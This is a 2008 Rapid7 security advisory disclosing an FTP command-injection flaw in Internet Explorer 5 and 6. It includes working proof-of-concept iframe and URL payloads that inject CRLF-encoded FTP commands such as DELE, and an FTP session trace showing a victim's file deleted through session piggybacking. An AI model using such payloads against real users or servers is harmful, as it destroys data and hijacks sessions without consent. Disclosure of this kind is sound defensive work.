Rapid7 Security Advisory R7-0032: Microsoft Internet Explorer FTP Command Injection Vulnerability

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Rapid7 Advisory R7-0032
Microsoft Internet Explorer FTP Command Injection Vulnerability

   Discovered: June 16th, 2007
   Published:  March 10, 2008
   Revision:   1.0
   http://www.rapid7.com/advisories/R7-0032

1. Affected system(s):

 KNOWN VULNERABLE:
  o Internet Explorer 6 (all versions)
  o Internet Explorer 5 (all versions)

 NOT VULNERABLE:
  o Internet Explorer 7

2. Summary

   Internet Explorer 5 and 6 are vulnerable to a File Transfer Protocol (FTP)
   CSRF-like command injection attack, whereby an attacker could execute arbitrary
   commands on an unsuspecting user's authenticated or unauthenticated FTP session.
   An attacker could delete, rename, move, and possibly steal data and upload
   malicious files to an FTP server under the attacker's control, on behalf of the
   user.

3. Vendor status and information

   Microsoft Corporation
   http://www.microsoft.com/

   Microsoft was notified of this vulnerability on January 22, 2008.  They 
   acknowledged the vulnerability on February 7, 2008 and were given 30 days
   to provide fix information.

4. Solution

   The vendor plans to release a patch for this issue in an upcoming security
   bulletin.  If possible, upgrade to Internet Explorer 7.

5. Detailed analysis

   The error occurs when a user visits a page containing a malicious FTP URL.
   Internet Explorer 5 and 6 decode and do not properly sanitize the supplied URL.
   It is possible to force Internet Explorer to chain FTP commands together by
   inserting URL encoded CRLF pairs after each command in the URL supplied by an
   HTML element.
      
         <iframe src="ftp://user@site:port/%0D%0ADELE%20foo.txt%0D%0A//"/>
   
   Moreover, if two forward slashes are appended to the end of the malicious
   URL, Internet Explorer will attempt to use an already pre-authenticated
   connection established earlier by the user in the same browser session.  
   
   If the user has a pre-authenticated connection to an FTP server, an
   attacker, knowing the username and endpoint of that pre-authenticated
   connection, could piggyback on the user's session to execute arbitrary
   commands.  A pre-authenticated connection is not necessary to carry out this
   attack, as Internet Explorer will attempt an anonymous login if no username is
   specified in the URL.  If only the username is specified and no trailing
   forward slashes are appended to the string, Internet Explorer will send the
   username with a blank password (which may be sufficient for more obscure
   anonymous user accounts).  If no username is specified, Internet Explorer will
   attempt to login using the 'IEUser@' user.
   
   Successful execution of some attacks may depend on the command tokenizing
   strategy used by the target FTP server and the security configuration on the
   FTP server (for instance, most FTP servers do not allow PORT requests for
   endpoints which do not have the same address as the requesting client).
   
   In testing, Internet Explorer 6 SP2 required the two trailing forward
   slashes for the exploit to work correctly.  Internet Explorer 6 SP1 did not
   have this restriction.  Internet Explorer 7 is not vulnerable to this issue, as
   it correctly sanitizes the URL before attempting to make the request on the FTP
   server.
      
   Demonstration of the exploit piggybacking on a pre-authenticated connection
   (malicious URL with two trailing forward slashes) with IE6 SP2:
   
   Malicious URI: ftp://admin@10.2.45.237/%0D%0ADELE%20foo.txt%0D%0ACWD//
   
   --> Welcome banner
   220 debian FTP server (Version wu-2.6.2(2) Tue Mar 20 18:26:53 PST 2007) ready.
   
   <-- IE6 Requests a user
   USER admin
   
   --> FTP server requires password
   331 Password required for admin.
   
   <-- IE6 supplies password.
   PASS admin
   
   --> FTP Server responds with successful login.
   230 User admin logged in.
   
   <-- IE6 tests 'OPTS UTF8' option.
   opts utf8 on
   
   --> Server responds with negative permanent reply to OPTS request.
   500 'OPTS utf8 on': command not understood.
   
   <-- IE6 asks for the present working directory.
   PWD
   
   --> Server sends positive completion reply for PWD.
   257 "/home/admin" is current directory.
   
   <-- IE6 requests malicious FTP URI from an iframe in HTML doc
   CWD /home/admin/
   DELE foo.txt
   CWD/
   
   --> Server responds with positive completion for CWD
   250 CWD command successful.
   
   <-- IE6 sends a 'TYPE A' request
   TYPE A
   
   --> Server responds with positive completion for DELE
   250 DELE command successful.
   
   <-- IE6 sends a NOOP.
   noop
   
   --> Server sends negative permanent response for last (invalid) command.
   500 'CWD/': command not understood.
   
   And the file no longer exists.

6. Credit

   Discovered by Derek Abdine of Rapid7.
   
7. Contact Information

   Rapid7, LLC
   Email: advisory@rapid7.com
   Web: http://www.rapid7.com
   Phone: +1 (617) 247-1717 

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